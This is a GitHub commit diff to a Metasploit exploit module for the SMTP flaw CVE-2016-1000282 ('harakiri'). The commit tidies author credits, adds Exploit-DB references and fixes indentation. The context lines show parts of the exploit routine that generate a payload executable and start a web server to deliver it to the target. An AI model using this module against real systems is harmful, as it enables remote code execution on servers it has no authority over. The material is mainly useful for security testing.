Skip to content

Commit 9b09306

Browse files
authored
Update, changed some fields in Initialize
- deduplication of Author fields - update of references - fix minor identation
1 parent eef61cb commit 9b09306

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/linux/smtp/harakiri.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,15 @@ def initialize(info = {})
5252
},
5353
'Author' =>
5454
[
55-
'xychix / Mark', # Exploit DB exploit based on github patch
56-
'xychix / Mark' # Metasploit module
55+
'xychix / Mark, Outflank' # Exploit-DB python exploit and msf module
5756
],
5857
'License' => MSF_LICENSE,
5958
'References' =>
6059
[
6160
[ 'CVE', '2016-1000282'],
62-
[ 'URL', 'https://github.com/outflankbv/Exploits/blob/master/harakiri-CVE-2016-1000282.py']
61+
[ 'EDB-ID', '41162'],
62+
[ 'URL', 'https://github.com/outflankbv/Exploits/blob/master/harakiri-CVE-2016-1000282.py'],
63+
[ 'URL', 'https://www.exploit-db.com/exploits/41162/']
6364
],
6465
'Privileged' => false,
6566
'Arch' => ARCH_X86,
@@ -119,15 +120,15 @@ def on_request_uri(cli, request)
119120
end
120121

121122
def exploit
122-
@pl = generate_payload_exe
123+
@pl = generate_payload_exe
123124
@elf_sent = false
124125

125126
#
126127
# start our web server to deploy the final payload
127128
#
128129
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
129130
resource_uri = '/' + downfile
130-
webport = datastore['SRVPORT']
131+
webport = datastore['SRVPORT']
131132

132133
if (datastore['DOWNHOST'])
133134
service_url_payload = datastore['DOWNHOST'] + resource_uri

0 commit comments

Comments
 (0)